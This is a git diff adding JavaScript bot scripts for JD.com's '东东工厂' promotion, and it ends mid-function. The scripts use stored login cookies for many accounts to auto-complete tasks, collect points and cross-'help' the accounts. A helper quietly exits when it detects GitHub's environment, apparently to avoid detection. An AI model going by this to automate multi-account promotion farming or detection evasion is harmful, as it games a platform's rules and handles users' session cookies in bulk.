Cookie: cookie, + "User-Agent": UA, + "Accept-Language": "zh-cn", + Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + }; + $.get(n, (n, o, a) => { + try { + if (n) $.logErr(n); + else if (a) { + if (1001 === (a = JSON.parse(a))["retcode"]) return void($.isLogin = !1); + 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) + } else console.log("京东服务器返回空数据") + } catch (e) { + $.logErr(e) + } finally { + e() + } + }) + }) +} + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env) + .indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date) + .getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "") + .trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }) + .catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1") + .split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString() + .match(/[^.[\]]+/g) || []), e.slice(0, -1) + .reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t) + .on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse) + .toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i) + .then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "") + .substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")") + .test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]) + .substr(("" + i[e]) + .length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date) + .getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_jdfactory.js b/jd_jdfactory.js new file mode 100644 index 0000000..0561445 --- /dev/null +++ b/jd_jdfactory.js @@ -0,0 +1,777 @@ +/* + * @Author: LXK9301 https://github.com/LXK9301 + * @Date: 2021-8-20 + * @Last Modified by: LXK9301 + * @Last Modified time: 2020-12-26 22:58:02 + */ +/* +东东工厂,不是京喜工厂 +活动入口:京东APP首页-数码电器-东东工厂 +免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) +故建议1小时运行一次 +开会员任务和去京东首页点击“数码电器任务目前未做 +不会每次运行脚本都投入电力 +只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东工厂 +10 0,6-23 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true + +================Loon============== +[Script] +cron "10 0,6-23 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js,tag=东东工厂 + +===============Surge================= +东东工厂 = type=cron,cronexp="10 0,6-23 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js + +============小火箭========= +东东工厂 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, cronexpr="10 0,6-23 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东工厂_内部互助'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', jdFactoryShareArr = [], message, newShareCodes; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let wantProduct = ``;//心仪商品名称 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = []; +let myInviteCode; +$.newShareCode = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.stop = false; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFactory() + } + } + console.log(`\n开始账号内互助......`); + for (let j = 0; j < cookiesArr.length; j++) { + if (cookiesArr[j]) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = j + 1; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}:\n`); + await helpFriends(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFactory() { + try { + await jdfactory_getHomeData(); + // $.newUser !==1 && $.haveProduct === 2,老用户但未选购商品 + // $.newUser === 1新用户 + if ($.newUser === 1) return + await jdfactory_collectElectricity();//收集产生的电量 + await jdfactory_getTaskDetail(); + await doTask(); + await algorithm();//投入电力逻辑 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`${message}`); + } + if (new Date().getHours() === 12) { + $.msg($.name, '', `${message}`); + } + resolve() + }) +} +async function algorithm() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { totalScore, useScore, produceScore, remainScore, couponCount, name } = data.data.result.factoryInfo + console.log(`\n已选商品:${name}`); + console.log(`当前已投入电量/所需电量:${useScore}/${totalScore}`); + console.log(`已选商品剩余量:${couponCount}`); + console.log(`当前总电量:${remainScore * 1 + useScore * 1}`); + console.log(`当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 100}%\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:${name}\n`; + message += `当前已投入电量/所需电量:${useScore}/${totalScore}\n`; + message += `已选商品剩余量:${couponCount}\n`; + message += `当前总电量:${remainScore * 1 + useScore * 1}\n`; + message += `当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 100}%\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = ''; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + // console.log(`\n您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n`); + if (wantProductSkuId && ((remainScore * 1 + useScore * 1) >= (totalScore * 1 + 100000))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore + 100000}`); + console.log(`请去活动页面更换成心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n更换成心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面更换成心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${remainScore * 1 + useScore * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称,否则满足条件后会为您兑换当前所选商品:${name}\n`); + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`BoxJs或环境变量暂未提供心仪商品,下面为您目前选的${name} 发送提示通知\n`); + // await jdfactory_addEnergy(); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面查看`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n所选商品${name}目前数量:${couponCount}\n当前总电量为:${remainScore * 1 + useScore * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请速去活动页面查看`); + } else { + console.log(`\n所选商品${name}目前数量:${couponCount},且当前总电量为:${remainScore * 1 + useScore * 1},【不满足】兑换此商品所需总电量:${totalScore}`) + console.log(`故不一次性投入电力,一直放到蓄电池累计\n`); + } + } + } else { + console.log(`\n此账号${$.index}${$.nickName}暂未选择商品\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:暂无\n`; + message += `心仪商品:${wantProduct ? wantProduct : '暂无'}\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = '', name, totalScore, couponCount, remainScore; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + if (totalScore) { + // 库存存在您设置的心仪商品 + message += `心仪商品数量:${couponCount}\n`; + message += `心仪商品所需电量:${totalScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if (wantProductSkuId && (($.batteryValue * 1) >= (totalScore))) { + console.log(`\n提供的心仪商品${name}目前数量:${couponCount},且当前总电量为:${$.batteryValue * 1},【满足】兑换此商品所需总电量:${totalScore}`); + console.log(`请去活动页面选择心仪商品并手动投入电量兑换\n`); + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n您提供的心仪商品${name}目前数量:${couponCount}\n当前总电量为:${$.batteryValue * 1}\n【满足】兑换此商品所需总电量:${totalScore}\n请去活动页面选择此心仪商品并手动投入电量兑换`); + } else { + console.log(`您心仪商品${name}\n当前数量为:${couponCount}\n兑换所需电量为:${totalScore}\n您当前总电量为:${$.batteryValue * 1}\n不满足兑换心仪商品的条件\n`) + } + } else { + message += `目前库存:暂无您设置的心仪商品\n`; + } + } else { + console.log(`BoxJs或环境变量暂未提供心仪商品\n如需兑换心仪商品,请提供心仪商品名称\n`); + await jdfactory_getProductList(true); + message += `当前剩余最多商品:${$.canMakeList[0] && $.canMakeList[0].name}\n`; + message += `兑换所需电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n`; + message += `您当前总电量:${$.batteryValue * 1}\n`; + if ($.canMakeList[0] && $.canMakeList[0].couponCount > 0 && $.batteryValue * 1 >= $.canMakeList[0] && $.canMakeList[0].fullScore) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); + if (new Date(nowTimes).getHours() === 12) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0] && [0].name}所需总电量:${$.canMakeList[0] && $.canMakeList[0].fullScore}\n请点击弹窗直达活动页面\n选择此心仪商品并手动投入电量兑换`, { 'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D' }); + if ($.isNode()) await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n${message}【满足】兑换${$.canMakeList[0] && $.canMakeList[0].name}所需总电量:${$.canMakeList[0].fullScore}\n请速去活动页面查看`); + } + } else { + console.log(`\n目前电量${$.batteryValue * 1},不满足兑换 ${$.canMakeList[0] && $.canMakeList[0].name}所需的 ${$.canMakeList[0] && $.canMakeList[0].fullScore}电量\n`) + } + } + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function helpFriends() { + $.newShareCode = [...(jdFactoryShareArr || [])] + for (let code of $.newShareCode) { + if (!code) continue + const helpRes = await jdfactory_collectScore(code); + if (helpRes.code === 0 && helpRes.data.bizCode === -7) { + console.log(`助力机会已耗尽,跳出`); + break + } else if (helpRes.code === 0 && helpRes.data.bizCode === -7001){ + console.log(`对方电力已满,无法助力,跳过`); + continue + } + } +} +async function doTask() { + if ($.taskVos && $.taskVos.length > 0) { + for (let item of $.taskVos) { + if (item.taskType === 1) { + //关注店铺任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.followShopVo) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 2) { + //看看商品任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.productInfoVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 3) { + //逛会场任务 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 9) { + //逛会场任务2 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + for (let task of item.shoppingActivityVos) { + if (task.status === 1) { + await queryVkComponent(); + await jdfactory_collectScore(task.taskToken); + } + } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 10) { + if (item.status === 1) { + if (item.threeMealInfoVos[0].status === 1) { + //可以做此任务 + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.threeMealInfoVos[0].taskToken); + } else if (item.threeMealInfoVos[0].status === 0) { + console.log(`${item.taskName} 任务已错过时间`) + } + } else if (item.status === 2) { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 21) { + //开通会员任务 + if (item.status === 1) { + console.log(`此任务:${item.taskName},跳过`); + // for (let task of item.brandMemberVos) { + // if (task.status === 1) { + // await jdfactory_collectScore(task.taskToken); + // } + // } + } else { + console.log(`${item.taskName}已做完`) + } + } + if (item.taskType === 13) { + //每日打卡 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + if ($.stop) { + console.log(`蓄电池已满,使用后才可获得更多电量哦!`); + break + } + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 14) { + //好友助力 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + // await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + if (item.taskType === 23) { + //从数码电器首页进入 + if (item.status === 1) { + console.log(`准备做此任务:${item.taskName}`); + await queryVkComponent(); + await jdfactory_collectScore(item.simpleRecordInfoVo.taskToken); + } else { + console.log(`${item.taskName}已完成`); + } + } + } + } +} + +//领取做完任务的奖励 +function jdfactory_collectScore(taskToken) { + return new Promise(async resolve => { + await $.wait(1000); + $.post(taskPostUrl("jdfactory_collectScore", { taskToken }, "jdfactory_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + console.log(`领取做完任务的奖励:${JSON.stringify(data.data.result)}`); + } else if (data.data.bizCode === -7001) { + $.stop = true + console.log(`领取做完任务的奖励:${data.data.bizMsg}`); + } + } else { + console.log(JSON.stringify(data)) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//给商品投入电量 +function jdfactory_addEnergy() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_addEnergy"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`给商品投入电量:${JSON.stringify(data.data.result)}`) + // $.taskConfigVos = data.data.result.taskConfigVos; + // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//收集电量 +function jdfactory_collectElectricity() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_collectElectricity"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + console.log(`成功收集${data.data.result.electricityValue}电量,当前蓄电池总电量:${data.data.result.batteryValue}\n`); + $.batteryValue = data.data.result.batteryValue; + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//获取任务列表 +function jdfactory_getTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.taskVos = data.data.result.taskVos;//任务列表 + $.taskVos.map(item => { + if (item.taskType === 14) 